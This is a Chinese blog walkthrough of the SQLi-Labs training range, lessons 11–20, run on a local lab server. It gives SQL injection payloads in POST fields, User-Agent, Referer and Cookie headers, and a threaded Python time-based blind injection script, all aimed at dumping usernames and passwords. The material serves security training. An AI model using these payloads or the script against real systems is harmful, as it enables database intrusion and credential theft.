[靶场] SQLi-Labs Less11-Less20

最新推荐文章于 2024-03-03 15:02:56 发布
最新推荐文章于 2024-03-03 15:02:56 发布
阅读量222 收藏
点赞数
分类专栏： # 靶场 文章标签： sqli
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40929683/article/details/120434532
版权

提供主要的语句，略去探测数据库名，表名，字段名的步骤。 

11.Less11

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型单引号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1'&passwd=2
uname=1'3&passwd=2
uname=1'3"&passwd=2

3. 执行注入的SQL

uname=1' or 1 %23&passwd=2

uname=1'  or 1 order by 2 %23&passwd=2
uname=1'  or 1 order by 3 %23&passwd=2
uname=1'  and 0 union select 1,2 %23&passwd=2

4. 数据获取

uname=1'  and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2

12.Less12

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型双引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1"&passwd=2
uname=1"3&passwd=2

3. 执行注入的SQL

uname=1")  or 1 %23&passwd=2

4. 数据获取

后面语句同Less11，将单引号闭合，换位双引号+括号闭合。

uname=1")  and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2

13.Less13

请求方式注入方式类型备注
POST双注入字符型单引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1'&passwd=2
uname=1'3&passwd=2

3. 执行注入的SQL

uname=1') or 1 %23 &passwd=2

uname=1') or 1 order by 2  %23 &passwd=2
uname=1') or 1 order by 3  %23 &passwd=2
uname=1') and 0  union select 1,2  %23 &passwd=2

4. 数据获取

uname=1') and 0  union select 1, count(*) from information_schema.tables group by  concat(floor(rand(0)*2),  0x7e,  (select @@version)  )   %23 &passwd=2

uname=1') and 0  union select 1, count(*) from information_schema.tables group by  concat(floor(rand(0)*2),  0x7e,  (select concat_ws(0x7e,username,password) from (select * from users limit 0,1)x)  )   %23 &passwd=2

14.Less14

请求方式注入方式类型备注
POST双注入字符型双引号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1&passwd=2"

3. 执行注入的SQL

uname=1&passwd=2" or 1 %23

uname=1&passwd=2" or 1 order by 2 %23
uname=1&passwd=2" or 1 order by 3 %23
uname=1&passwd=2" or 1 union select 1,2  %23

4. 数据获取

uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e,   (  select version()  )  )  %23

uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e,   (  select  table_name  from information_schema.tables where table_schema = database() limit 0,1  )  )  %23

15.Less15

请求方式注入方式类型备注
POST时间盲注字符型单引号闭合

1. 正常提交

uname=1&passwd=2

2. 执行注入的SQL

uname=1' or sleep(0.2)  %23&passwd=2

uname=1' or if(1,sleep(0.2),1)  %23&passwd=2
uname=1' or if(0,sleep(0.2),1)  %23&passwd=2

3. 数据获取

以爆破数据库版本名为例，测试时间盲注语句是否执行。

uname=1' or if(   (select ascii(substr( (select @@version) ,1,1)))  >0  ,sleep(0.2),1)  %23&passwd=2
uname=1' or if(   (select ascii(substr( (select @@version) ,1,1)))  >100  ,sleep(0.2),1)  %23&passwd=2

可以成功执行，我们使用代码爆破（代码见SqliLabs Less1-Less10），在源代码稍作修改为POST请求。

import requests
import time
import _thread
import threading

# 盲注爆破
charList = []
info = {}

urlTemplate = "http://127.0.0.1:8003/Less-15/"

postData = {
    'uname': "1'  or if(   (select ascii(substr( (select @@version) ,{},1)))  ={}  ,sleep(0.2),1) #",
    'passwd': "2"
}

lock = threading.Lock()
allNumber = 8
runing = 0


def loadDict(file):
    global charList
    with open(file, 'r', encoding='utf-8') as f:
        charList += f.read().split('\n')
        print('Dict Loaded')
        print(len(charList))


def req(name, n):
    global version, allNumber, runing
    for i in range(n, n + 1, 1):
        for j in range(0, len(charList)):
            url = urlTemplate
            pd = postData.copy()
            pd['uname'] = pd['uname'].format(str(i), charList[j])
            print('.', end='')
            time_start = time.time()
            r = requests.post(url=url, data=pd)
            time_end = time.time()
            timeReal = time_end - time_start
            if timeReal > 4:
                lock.acquire()
                info[i] = chr(int(charList[j]))
                runing -= 1
                lock.release()
                print('{}:Find [{}] [{}/{}]'.format(name, chr(int(charList[j])), str(runing), str(allNumber)))
                break


def conv(info={}):
    res = []
    info = sorted(info.items(), key=lambda x: x[0], reverse=False)
    for i in info:
        res.append(i[1])
    return ''.join(res)


def main():
    global runing
    loadDict('../../字典/ascii_dict/ascii_数字+符号.txt')
    time_start = time.time()
    try:
        for i in range(1, allNumber + 1, 1):
            th = threading.Thread(target=req, args=('T-{}'.format(str(i)), i))
            runing += 1
            th.start()
    except:
        print('线程启动异常')
    while threading.activeCount() != 1:
        pass
    time_end = time.time()
    print('\nresult:')
    print(conv(info))
    print('time:' + str(int((time_end - time_start) / 60)) + 'm')


if __name__ == '__main__':
    main()

得到结果：

爆破数据库数据同理。

16.Less16

请求方式注入方式类型备注
POST布尔注入字符型双引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 执行注入的SQL

uname=1&passwd=2' or 1  #
uname=1&passwd=2" or 1  #
uname=1&passwd=2') or 1  #
uname=1&passwd=2") or 1  #

只有passwd=2")可以成功执行，可以判断为双引号、括号闭合。 

uname=1&passwd=2") or if(1,1,0)  #
uname=1&passwd=2") or if(0,1,0)  #

3. 数据获取

以获取数据库版本为例。

uname=1&passwd=2") or if(  (select ascii(substr(  (select @@version) ,1,1))) >0    ,1,0)  #
uname=1&passwd=2") or if(  (select ascii(substr(  (select @@version) ,1,1))) >100  ,1,0)  #

使用BurpSuite进行爆破。

 对结果进行处理，即可得到版本号。

17.Less17

请求方式注入方式类型备注
POST基于报错注入(updatexml函数)字符型update语句注入

假定我们提前取得了某个用户名：dumb。

1. 正常提交

uname=dumb&passwd=1

2. 语句报错

uname=dumb&passwd=1'2"

3. 执行注入的SQL

uname=dumb&passwd=1' or 1 or '
uname=dumb&passwd=1' or (select 1) or '

4. 数据获取

uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select @@version))  ,1)) or '

uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select concat(username, 0x7e, password)  from (select * from users limit 0,1)x))  ,1)) or '

18.Less18

请求方式注入方式类型备注
POST报错注入（updatexml函数）字符型UA注入点，单引号闭合

已经提前取得一个用户信息，用户名dumb，密码2。

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

PostData:
uname=dumb&passwd=2

UA:
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

2. 语句报错

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.01'2"

 可以判断是单引号闭合，并且这可能是insert或update语句，我们闭合前后引号，使用or连接报错函数进行报错。

3. 执行注入的SQL

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,1,1) or '1

没有报错，成功执行。 

4. 数据获取

以获取数据库版本为例。

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select @@version)),1) or '1

查询数据库数据。

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select  concat_ws(0x7e,username,password) from (select * from users limit 0,1)x  )),1) or '1

19.Less19

请求方式注入方式类型备注
POST基于报错注入(双注入函数)字符型Referer注入点，单引号闭合

已经提前取得一个用户信息，用户名dumb，密码2。

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

PostData:
uname=dumb&passwd=2

Referer:
http://127.0.0.1:8003/Less-19/

2. 语句报错

Referer: http://127.0.0.1:8003/Less-19/1'2"3

3. 执行注入的SQL

Referer: http://127.0.0.1:8003/Less-19/ ' or 1 or '1
Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, 1 ,1) or  '1

4. 数据获取

Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, concat(0x7e, (select @@version)) ,1) or  '1

其他语句同理，在修改 select @@version即可。

20.Less20

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型Cookie注入点，单引号闭合

已经提前取得一个用户信息，用户名dumb，密码2。

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

首先正常登陆上去。

2. 语句报错

Cookie: uname=Dumb1'2"3

3. 执行注入的SQL

Cookie: uname=Dumb ' or 1 --+
Cookie: uname=Dumb ' order by 3 --+
Cookie: uname=Dumb ' order by 4 --+

Cookie: uname=Dumb ' and 0  union select 111,222,333  --+

4. 数据获取

Cookie: uname=Dumb ' and 0  union select 111,222,@@version  --+
Cookie: uname=Dumb ' and 0  union select 111,222,group_concat(username, ':', password) from users  --+

3hex___________
关注
专栏目录
SQLi LABS Less-20 Cookie注入
wangyuxiang946的博客
06-23 1万+
SQLi第二十关，sqllabs less-20，sqli-labs less20
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1440
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
sqllibs-Less11-16
Xor0ne
07-12 606
文章目录11.Less-11-Error Based11.1、报错尝试11.2、代码分析12.Less12-Error-based-Double quotes12.1、报错测试12.2、代码分析13.Less13-Double Injection-String-with twist13.1、报错测试13.2、代码分析14.Less14-Double Injection-Double quotes14.1、报错尝试14.2、代码分析15.Less15-Blind-Boolean Based15.1、报错尝试1
Sqlilabs Less-20
Light_inthe_eyes的博客
03-08 267
当正确输入后，页面回显cookie，猜测此注入点在cookie： 用burpsuite抓包，证明猜测： 爆库： Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database())),0)#; 爆表： Cookie: uname=admin' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema
Sqli-labs之Less-20和Less-21和Less-22
m0_46315342的博客
06-04 439
                                          &nbs...
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1909
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
Sqli-labs靶场第12关详解[Sqli-labs-less-12]
m0_73615178的博客
03-02 741
所以，payload分析输入一个username值然后使用单引号加小括号 ") 闭合前面的语句，然后为了使where语句条件成立，加上一个or 1=1 ，-- 注释语句使后面的语句直接注释password不用判断。由于这题是post请求，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。根据题目看，像一个登录页面，尝试使用布尔型盲注测试能否登录网站。输入：-admin") union select 1,2--爆出当前数据库名称及当前用户名。
Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入
最新发布
m0_73615178的博客
03-03 1255
所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。使用单引号' 测试得到了报错即： ' 为闭合方式。在user-agent处加上*代表注入点。
Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 736
-batch当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用--batch这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。由于这题是，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件爆出当前主机名称。
sqli-labs (less-11)
kukudeshuo的博客
03-09 2818
sqli-labs (less-11) 补充知识 从第11关开始我们发现跟以前的页面已经完全不一样了，这里要我们输入用户名和密码 假设我们现在注册了一个账号，账号为admin，密码为admin，我们登入进去看看 登入进去之后我们发现屏幕上回显了我们输入的账号和密码，但是url那里却没有返回我们输入的账号和密码，因为前面的关卡我们输入的内容都是以GET方式传输到了服务端，而这里我们输入的账号密码是以POST的方法传输到了服务端 GET请求和POST请求的区别 GET请求： GET方法用于获取请求页面的指定
sqli-labs(less-11)
不知名白帽的博客
07-17 695
sqli-labs(less-11)。less-11(POST注入)
【SQLi-LABS】Less -11 注入思路以及过程
m0_52513952的博客
02-22 3210
less 11 是 sqli-labs 的第一道 POST 型注入题，因此，我们不能再用之前 GET 型注入的方法，在搜索框进行注入，而是要在输入框里面完成注入。下面的注入流程是基于nliuc师傅的视频教程实现的。
SQLi LABS Less-12 联合注入+报错注入
热门推荐
wangyuxiang946的博客
06-21 1万+
sqli第十二关，sqli-labs less-12，sqlilabs less12
Sqli-labs之Less-11和Less-12
→_→
04-02 1764
Less-11 POST - 基于错误的- 单引号- 字符型 LOGIN ATTEMPT FAILED 登录尝试失败 从这一关的提示当中我们知道这是一个post类型的，那么post与ge...
【SQLI-Lab】-Less11-20
xinyue9966的博客
01-31 229
Basic Challenges前言Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)Less-
sqli-labs-master通关之LESS11-LESS16
weixin_43726831的博客
10-10 601
SQL注入之sqli-labs-master LESS11-LESS16 less11-16关中，是最基本的POST交互方式下的注入 包括联合查询法，报错型注入，以及布尔型盲注，在此博文中，对其详细过程没有做记录，但是万变不离其宗，这是建立在GET交互方式之上的，所以其方法同GET交互方式下的查询方法类似 联合查询法 报错型注入 布尔型盲注 时间性盲注 LESS-11 第11关 1.通过WEB页面...
生命在于折腾——SQL注入的实操（三）less11-15
易水哲的博客
08-20 623
本篇文章是sql-lib的11-15关。
SQLi-LABS的Less11-20分析
haoahaoahaoahao的博客
02-26 820
试试在username输入1或者1'或者1')或者1'))或者1"或者1")或者1"))那么password为空，发现输入1'或者1')或者1'))的时候会报错，那么通过Less12文章的order by命令发现输入1')的时候是能注入的，不过爆数据库uname=-1') union select 1,database()#&passwd=&submit=Submit的情况和Less12不一样，虽然登录成功却没显示。id=1'会怎么样呢，那么试一下看看发生什么。
PHP与Apache环境下部署SQL注入靶场sqli-labs指南
部署sqli-labs是一个实战训练过程，它不仅提供了丰富的SQL注入实例，还能帮助开发者熟悉如何防范此类攻击，是提升网络安全技能的实用工具。通过这个靶场，你将更深入理解Web应用程序安全的重要性，并掌握如何在实际...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值